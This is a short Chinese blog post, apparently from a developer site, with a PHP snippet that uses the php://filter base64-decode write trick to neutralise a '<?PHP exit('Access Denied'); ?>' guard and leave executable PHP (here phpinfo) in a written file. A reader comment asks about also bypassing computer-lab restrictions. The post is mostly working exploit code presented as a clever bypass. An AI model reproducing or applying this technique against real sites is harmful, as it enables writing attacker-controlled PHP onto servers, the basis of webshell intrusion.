`
paulfzm
  • 浏览: 873093 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
文章分类
社区版块
存档分类
最新评论

绕过 <?PHP exit(’Access Denied’); ?> 限制

    博客分类:
  • Php
阅读更多

绕过 <?PHP exit(’Access Denied’); ?> 限制
<?php
$shellcode=’PD9waHBpbmZvKCk7Pz4’;//   base64_decode <?phpinfo();?>
$endstr=’s’;
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(’Access Denied’); ?>\t$timestamp");
?>
利用base64产生乱码可以生成:
<s奁+@q乾? 鏩<?phpinfo();?>
就绕过了exit()限制,真厉害呀

分享到:
评论
1 楼 丶Sk.Mabon 2012-07-14  
能让html也绕过吗。。机房限制很悲剧

相关推荐

Global site tag (gtag.js) - Google Analytics